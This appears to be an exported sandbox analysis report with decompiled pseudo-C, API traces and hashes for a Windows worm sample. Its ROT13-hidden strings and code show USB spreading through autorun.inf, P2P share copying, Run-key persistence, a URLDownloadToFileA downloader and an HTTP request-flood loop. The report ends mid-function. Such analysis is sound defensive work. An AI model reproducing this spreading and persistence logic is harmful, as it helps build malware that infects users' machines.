Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ConnectCountSleepSocketTickclosesockethtonsrandsendsrandwsprintf
String ID: GET %s HTTP/1.1Connection: Keep-AliveUser-Agent: %sHost: %sAccept: */*$Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)$Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)$Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0;)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)$Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729)$Opera/9.64 (Windows NT 5.1; U; ru) Presto/2.1.1
API String ID: 336679807-801071570
Opcode ID: eb25c094f4d93804a9a636893b6b75dca09158d388a842bccda55ca2649f5b44
Instruction ID: 5cdc0710ae53c098c5dd65590a42bc470b49e3f5e350015ac0ed1cf0fb49e237
Opcode Fuzzy Hash: eb25c094f4d93804a9a636893b6b75dca09158d388a842bccda55ca2649f5b44
Instruction Fuzzy Hash: D83141F49047148BCB20DF29C58428DBBF0EF85314F1085AEE558AB392D7789A95CF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004068A0 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 81
stringsleepfileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E004068A0() {
				void* _v16;
				char _v188;
				char _v220;
				char _v348;
				char _v349;
				char _v380;
				void _v476;
				intOrPtr _v484;
				int _v488;
				void* _v492;
				int _t40;
				CHAR* _t42;
				void* _t47;
				signed int _t49;
				void* _t50;
				void* _t51;
				void* _t52;
				void* _t53;
				void* _t54;
				void** _t55;
				intOrPtr* _t56;

				memcpy( &_v476, 0x40d460, 0x60);
				E00404C38( &_v380, "nhgbeha.vas");
				_v488 = "fngbeanf.qyy";
				_t47 =  &_v220;
				_v492 = _t47;
				E00404C38();
				_v484 = _t47;
				_v488 = 0x96;
				_v492 =  &_v188;
				E00404620();
				if(E00404ED6( &_v188) != 0) {
					_t50 =  &_v348;
					while(1) {
						Sleep(0x1770);
						_t54 = _t53 - 4;
						_t49 = 0;
						do {
							_t40 = GetDriveTypeA( *(_t52 + _t49 * 4 - 0x1d8));
							_t54 = _t54 - 4;
							if(_t40 == 2) {
								_t51 =  &_v348;
								memset(_t51, 0, 0x78);
								_t42 =  *(_t52 + _t49 * 4 - 0x1d8);
								_v488 = _t42;
								_v492 = _t51;
								L0040C208();
								_v492 = _t51;
								L0040C310();
								_t55 = _t54 - 4;
								if(_t42[(char*)( &_v349)] != 0x5c) {
									_v492 = 0x412935;
									 *_t55 = _t51;
									L0040C328();
									_t55 = _t55 - 8;
								}
								_v492 =  &_v380;
								 *_t55 = _t50;
								L0040C208();
								 *_t55 = 1;
								SetErrorMode(??);
								_t56 = _t55 - 4;
								_v488 = 0;
								_v492 = _t50;
								 *_t56 =  &_v188;
								CopyFileA(??, ??, ??);
								_t54 = _t56 - 0xc;
							}
							_t49 = 1 + _t49;
						} while (_t49 <= 0x17);
					}
				}
				return 0;
			}

APIs

memcpy.MSVCRT ref: 004068C5

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

Part of subcall function 00404ED6: fopen.MSVCRT ref: 00404EEA
Part of subcall function 00404ED6: fclose.MSVCRT ref: 00404EFB

Sleep.KERNEL32 ref: 0040692D
GetDriveTypeA.KERNEL32 ref: 00406944
memset.MSVCRT ref: 0040696E
_mbscat.MSVCRT ref: 00406981
lstrlen.KERNEL32 ref: 00406989
lstrcat.KERNEL32 ref: 004069A6
_mbscat.MSVCRT ref: 004069BB
SetErrorMode.KERNEL32 ref: 004069C7
CopyFileA.KERNEL32 ref: 004069E4

Strings

x, xrefs: 0040695B
fngbeanf.qyy, xrefs: 004068E0
nhgbeha.vas, xrefs: 004068CA

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$_mbscatlstrlenmemset$CopyDirectoryDriveErrorFileModeSleepSystemTypefclosefopenmemcpy
String ID: fngbeanf.qyy$nhgbeha.vas$x
API String ID: 1674407683-3747760128
Opcode ID: 84151a140f1e5fa0085d5774543a83b656e69c0a109d3cbe9b508c1ff952e0c4
Instruction ID: ef6cf4129608155cc112f4a97fe144a2978ba8a5c429c4c3aaf2c51783ef7b88
Opcode Fuzzy Hash: 84151a140f1e5fa0085d5774543a83b656e69c0a109d3cbe9b508c1ff952e0c4
Instruction Fuzzy Hash: 01313BB0808704DAD710BF65D58539EBBF4AF84318F41897EE8C867282D77C9598CB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00403390 Relevance: 21.2, APIs: 14, Instructions: 153fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 004033D2
GetFileSize.KERNEL32 ref: 00403409
CreateFileMappingA.KERNEL32 ref: 00403448
CloseHandle.KERNEL32 ref: 0040346E
MapViewOfFile.KERNEL32 ref: 004034A9
CloseHandle.KERNEL32 ref: 004034C0
CloseHandle.KERNEL32 ref: 004034D1

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: File$CloseHandle$Create$MappingSizeView
String ID:
API String ID: 3733816638-0
Opcode ID: 64beccc6f6e1811926c309a9acaa175bb040272e9c324b493b73e6d9ca74493c
Instruction ID: 986d351c7ed07d29ba8de43e54e9a7d5c311c5fefbca7bada34d70547d36c5f0
Opcode Fuzzy Hash: 64beccc6f6e1811926c309a9acaa175bb040272e9c324b493b73e6d9ca74493c
Instruction Fuzzy Hash: 0F513FB59043059BDB10AF25C99535EBFF4AF81348F1089AEE488673C1D779DA88CB87

Uniqueness

Uniqueness Score: -1.00%

Function 00405850 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111stringregistryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 004058F5
RegQueryValueExA.ADVAPI32 ref: 0040593C
RegCloseKey.ADVAPI32 ref: 00405955
lstrlen.KERNEL32 ref: 0040596D
lstrlen.KERNEL32 ref: 00405982
lstrlen.KERNEL32 ref: 0040599B
lstrcat.KERNEL32 ref: 004059B8
lstrcpy.KERNEL32 ref: 004059EC
lstrcat.KERNEL32 ref: 00405A02
CopyFileA.KERNEL32 ref: 00405A19

Strings

QyQve0, xrefs: 00405885
Fbsgjner\Xnmnn\Genafsre, xrefs: 0040586F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrlen$lstrcat$CloseCopyFileOpenQueryValuelstrcpy
String ID: Fbsgjner\Xnmnn\Genafsre$QyQve0
API String ID: 3255004976-3635034446
Opcode ID: 48d3ab129c8971922516ad6cf7ddcc5b4f641ba089194a23c19a237b6e17e3d6
Instruction ID: afcb269cad9b4d3002b0b3817e33f6dff803cc776bda76573fbb9b1efc1f5d05
Opcode Fuzzy Hash: 48d3ab129c8971922516ad6cf7ddcc5b4f641ba089194a23c19a237b6e17e3d6
Instruction Fuzzy Hash: 0751FBB4D05718DBDB50EF24C58939EBBF0AF44304F4189BED88867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 00405A3E Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 111stringregistryfileCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00405AE3
RegQueryValueExA.ADVAPI32 ref: 00405B2A
RegCloseKey.ADVAPI32 ref: 00405B43
lstrlen.KERNEL32 ref: 00405B5B
lstrlen.KERNEL32 ref: 00405B70
lstrlen.KERNEL32 ref: 00405B89
lstrcat.KERNEL32 ref: 00405BA6
lstrcpy.KERNEL32 ref: 00405BDA
lstrcat.KERNEL32 ref: 00405BF0
CopyFileA.KERNEL32 ref: 00405C07

Strings

QbjaybnqQve, xrefs: 00405A73
Fbsgjner\vZrfu\Trareny, xrefs: 00405A5D

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrlen$lstrcat$CloseCopyFileOpenQueryValuelstrcpy
String ID: Fbsgjner\vZrfu\Trareny$QbjaybnqQve
API String ID: 3255004976-427315093
Opcode ID: ca356c8a7735af90a2ac1fc3d2fb9675a498bac6a2a463da8ee0ab9d5fd3de3f
Instruction ID: 4c2f52c761e00ed0f591be26c1bd4671a41acc1e7387a317ba9ae8b83013203e
Opcode Fuzzy Hash: ca356c8a7735af90a2ac1fc3d2fb9675a498bac6a2a463da8ee0ab9d5fd3de3f
Instruction Fuzzy Hash: D051FCB4905718CEDB60EF24C58939EBBF4AF44304F4185BEDC8867381D7789A888F96

Uniqueness

Uniqueness Score: -1.00%

Function 004054F2 Relevance: 18.1, APIs: 12, Instructions: 107filesleepCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 00405531

Part of subcall function 00404F82: GetLocalTime.KERNEL32 ref: 00404FD9
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00404FE1
Part of subcall function 00404F82: srand.MSVCRT ref: 00404FE9
Part of subcall function 00404F82: rand.MSVCRT ref: 00404FF2
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00404FF9
Part of subcall function 00404F82: srand.MSVCRT ref: 00405001
Part of subcall function 00404F82: rand.MSVCRT ref: 0040500D
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00405026
Part of subcall function 00404F82: srand.MSVCRT ref: 0040502E
Part of subcall function 00404F82: rand.MSVCRT ref: 00405033
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 0040504E
Part of subcall function 00404F82: srand.MSVCRT ref: 00405056
Part of subcall function 00404F82: rand.MSVCRT ref: 0040505B
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 00405076
Part of subcall function 00404F82: srand.MSVCRT ref: 0040507E
Part of subcall function 00404F82: rand.MSVCRT ref: 00405083
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 0040509E
Part of subcall function 00404F82: srand.MSVCRT ref: 004050A6
Part of subcall function 00404F82: rand.MSVCRT ref: 004050AB
Part of subcall function 00404F82: GetTickCount.KERNEL32 ref: 004050C6
Part of subcall function 00404F82: srand.MSVCRT ref: 004050CE
Part of subcall function 00404F82: rand.MSVCRT ref: 004050D3
Part of subcall function 00404F82: GetLocalTime.KERNEL32 ref: 004050E5
Part of subcall function 00404F82: _itoa.MSVCRT ref: 00405102
Part of subcall function 00404F82: rand.MSVCRT ref: 00405107

SetFilePointer.KERNEL32 ref: 00405574
WriteFile.KERNEL32 ref: 0040559A
Sleep.KERNEL32 ref: 004055A9

Part of subcall function 00404F82: rand.MSVCRT ref: 0040513A
Part of subcall function 00404F82: rand.MSVCRT ref: 00405168
Part of subcall function 00404F82: rand.MSVCRT ref: 00405196
Part of subcall function 00404F82: rand.MSVCRT ref: 004051C0
Part of subcall function 00404F82: rand.MSVCRT ref: 004051EF

SetFilePointer.KERNEL32 ref: 004055D4
WriteFile.KERNEL32 ref: 004055FA
Sleep.KERNEL32 ref: 00405609
SetFilePointer.KERNEL32 ref: 00405634
WriteFile.KERNEL32 ref: 0040565A
SetFilePointer.KERNEL32 ref: 0040567D
WriteFile.KERNEL32 ref: 004056AF
CloseHandle.KERNEL32 ref: 004056C0

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: rand$File$CountTicksrand$PointerWrite$LocalSleepTime$CloseCreateHandle_itoa
String ID:
API String ID: 3159365393-0
Opcode ID: 066013087a80cab26094ee465325437960832ad52aa8e7df595e92265ce101e2
Instruction ID: 8e21804255f859d75eeaefc39514b6d8a1434258e14ca154f06cca4555a00953
Opcode Fuzzy Hash: 066013087a80cab26094ee465325437960832ad52aa8e7df595e92265ce101e2
Instruction Fuzzy Hash: 0341A5B14087019AD700BF29C19935FBFF4BB84358F51892EE8986B282D7798249CF97

Uniqueness

Uniqueness Score: -1.00%

Function 00406E1C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58librarysleepfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00406E5C
GetProcAddress.KERNEL32 ref: 00406E79
FreeLibrary.KERNEL32 ref: 00406E8D
DeleteFileA.KERNEL32 ref: 00406EBD
Sleep.KERNEL32 ref: 00406F01

Strings

urlmon.dll, xrefs: 00406E55
donzx.dll, xrefs: 00406E9C
URLDownloadToFileA, xrefs: 00406E6E

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Library$AddressDeleteFileFreeLoadProcSleep
String ID: URLDownloadToFileA$donzx.dll$urlmon.dll
API String ID: 1591209584-4102153241
Opcode ID: 47fc18c0eb25ae1a6f3f7cc7ed24534ae3b86cfb75869dd93a874771333e5d9e
Instruction ID: 543b2787c70849a237c7d5d5e8862ee058c6e2dedd7614c5b7d168295bf2944d
Opcode Fuzzy Hash: 47fc18c0eb25ae1a6f3f7cc7ed24534ae3b86cfb75869dd93a874771333e5d9e
Instruction Fuzzy Hash: 1C21FCB09043459BD700EF39D58579ABBF0BB48304F108A7EE98997341E778D998CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405776 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 49processsynchronizationCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405796
CreateProcessA.KERNEL32 ref: 004057F8
WaitForSingleObject.KERNEL32 ref: 0040581D
CloseHandle.KERNEL32 ref: 0040582B
CloseHandle.KERNEL32 ref: 00405839

Strings

D, xrefs: 00405783
D, xrefs: 0040579B

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: CloseHandle$CreateObjectProcessSingleWaitmemset
String ID: D$D
API String ID: 1209732917-143366177
Opcode ID: 8b0318b66af052caa6544f8935669438fa84808f2f8ff7b8a7a656b73dd8d3b3
Instruction ID: a424a9ca423c88ebceb4bf93d4a85606f6dbc14dab7ded7620f51e0c80248426
Opcode Fuzzy Hash: 8b0318b66af052caa6544f8935669438fa84808f2f8ff7b8a7a656b73dd8d3b3
Instruction Fuzzy Hash: 1D11A4B0904305DBEB00EF69C58935EBBF0BB44318F008A2DE894AB281D3799588CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405256 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 44COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00405272

Strings

Unk, xrefs: 0040530F
fVISta, xrefs: 004052EA
fWinS, xrefs: 00405301
f2000, xrefs: 004052A5
fXp, xrefs: 004052BC
f2003, xrefs: 004052D3

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: Version
String ID: Unk$f2000$f2003$fVISta$fWinS$fXp
API String ID: 1889659487-2404033052
Opcode ID: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction ID: e8bb7547553301c142e519b247f3baff17d1b23cd464d4725f64abea95698485
Opcode Fuzzy Hash: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction Fuzzy Hash: DD118334A11718CACF34AA18891939B72B0EB93349F4441FBD88979690C3B98DC9CE1B

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC4 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 63fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00404620: memset.MSVCRT ref: 0040463D
Part of subcall function 00404620: GetSystemDirectoryA.KERNEL32 ref: 00404649
Part of subcall function 00404620: lstrlen.KERNEL32 ref: 00404654
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 0040466E
Part of subcall function 00404620: lstrcat.KERNEL32 ref: 00404680

CreateFileA.KERNEL32 ref: 00405E5E
ExitProcess.KERNEL32 ref: 00405E7E
CloseHandle.KERNEL32 ref: 00405E9E

Strings

user32.dll, xrefs: 00405EB4
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha, xrefs: 00405DFF
pgszra.rkr, xrefs: 00405DCF, 00405E15

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: lstrcat$CloseCreateDirectoryExitFileHandleProcessSystemlstrlenmemset
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha$pgszra.rkr$user32.dll
API String ID: 1778546552-2563098034
Opcode ID: 74071c8a4e3613b750008268494174c79e934ec9dc8cd3874d7da89e717f8aea
Instruction ID: 8ce02ae271826c0af2d77be6dc83fb0dca404b62b159729ddab96385648218ed
Opcode Fuzzy Hash: 74071c8a4e3613b750008268494174c79e934ec9dc8cd3874d7da89e717f8aea
Instruction Fuzzy Hash: F3212AB08097049AD710BF21C58538EBBF4AF84358F41897EE9C867281D7BD858C8F96

Uniqueness

Uniqueness Score: -1.00%

Function 0040A9D0 Relevance: 9.1, APIs: 6, Instructions: 118COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 0040AA3D
SetLastError.KERNEL32 ref: 0040AA4F

Memory Dump Source

Source File: 00000001.00000002.539790588.0000000000401000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.539779055.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539856745.0000000000419000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539866212.000000000041C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539875536.000000000041D000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539889283.000000000041E000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000001.00000002.539903450.000000000041F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_smnss.jbxd

Similarity

API ID: ErrorLastValue
String ID:
API String ID: 1151882462-0
Opcode ID: f5c40383acc9d87dda60eb3b76dcf30d9141b7de2a859581008e5770992a7bdc
Instruction ID: 444a06ef6d56dde007bbc20e4d8b26003c34dd805877e33333d77d24524e80d9
Opcode Fuzzy Hash: f5c40383acc9d87dda60eb3b76dcf30d9141b7de2a859581008e5770992a7bdc
Instruction Fuzzy Hash: 88513A70E003088FDB10EFA9DA8469EBBF4BB04304F14853AD845B7390DB78A955CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB20 Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040BB20(void* __ebx, void* __edi, void* __esi, intOrPtr _a4) {
				void* _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* _v40;
				intOrPtr _v52;
				long _v56;
				void* _v60;
				intOrPtr _v84;
				intOrPtr _v96;
				void* _t54;
				long _t56;
				void* _t57;
				void* _t58;
				void* _t60;
				void* _t62;
				long _t65;
				void* _t66;
				void* _t67;
				intOrPtr* _t70;
				void* _t72;
				void* _t78;
				void* _t82;
				void* _t88;
				void* _t94;
				intOrPtr _t101;
				long _t113;
				intOrPtr _t116;
				intOrPtr _t117;
				void* _t119;
				intOrPtr* _t120;
				long* _t121;
				void** _t122;
				long* _t123;
				intOrPtr* _t124;

				_t87 = __ebx;
				_push(__ebx);
				_t120 = _t119 - 0x1c;
				_t54 =  *0x418284;
				_t109 = _a4;
				if(_t54 == 0) {
					E0040B0E0(_t54);
					_t54 =  *0x418284;
					_t113 =  *(_t54 + 0x30);
					if(_t113 >= 0) {
						goto L2;
					} else {
						goto L15;
					}
					goto L47;
				} else {
					_t113 =  *(_t54 + 0x30);
					if(_t113 < 0) {
						L15:
						E0040B3B0(_t87, _t113);
						_t54 =  *0x418284;
						_t88 =  *(_t54 + 0x30);
						if(_t88 == 0) {
							goto L3;
						} else {
							goto L17;
						}
						L47:
					} else {
						L2:
						_t88 =  *(_t54 + 0x30);
						if(_t88 != 0) {
							L17:
							_t56 = GetLastError();
							 *_t120 =  *((intOrPtr*)(_t54 + 0x2c));
							_t113 = _t56;
							_t57 = TlsGetValue(??);
							_t121 = _t120 - 4;
							_t88 = _t57;
							 *_t121 = _t113;
							SetLastError(??);
							_t58 = _t88;
							_t120 = _t121 - 4;
						} else {
							L3:
							_t58 =  *(_t54 + 0x28);
						}
					}
				}
				_v20 = _t58;
				_v24 = _t58;
				if( *((intOrPtr*)(_t109 + 0xc)) != 0) {
					_t60 = E0040B8D0(_t109,  &_v24);
				} else {
					_t60 = E0040B6B0(_t109,  &_v24);
				}
				if(_t60 == 7) {
					_t78 =  *0x418284;
					_t88 = _v24;
					if(_t78 == 0) {
						E0040B0E0(_t78);
						_t78 =  *0x418284;
						if( *((intOrPtr*)(_t78 + 0x30)) >= 0) {
							L9:
							_t109 =  *((intOrPtr*)(_t78 + 0x30));
							if( *((intOrPtr*)(_t78 + 0x30)) != 0) {
								_v40 = _t88;
								 *_t120 =  *((intOrPtr*)(_t78 + 0x2c));
								if(TlsSetValue(??, ??) == 0) {
									GetLastError();
								}
							} else {
								 *(_t78 + 0x28) = _t88;
							}
							_t82 = _v24;
							_t116 =  *((intOrPtr*)(_t82 + 0x20));
							_t120 =  *((intOrPtr*)(_t82 + 0x28));
							goto __ecx;
						}
						L22:
						E0040B3B0(_t88, _t113);
						_t78 =  *0x418284;
						goto L9;
					}
					if( *((intOrPtr*)(_t78 + 0x30)) < 0) {
						goto L22;
					}
					goto L9;
				}
				abort();
				_push(_t116);
				_t117 = _t120;
				_t122 = _t120 - 0x28;
				_v52 = _t109;
				_t110 = _v40;
				_v60 = _t88;
				_v56 = _t113;
				_t114 =  *(_t110 + 0xc);
				if( *(_t110 + 0xc) == 0) {
					 *_t122 = _t110;
					return E0040B740();
				} else {
					_t62 =  *0x418284;
					if(_t62 == 0) {
						E0040B0E0(_t62);
						_t62 =  *0x418284;
					}
					_t91 =  *((intOrPtr*)(_t62 + 0x30));
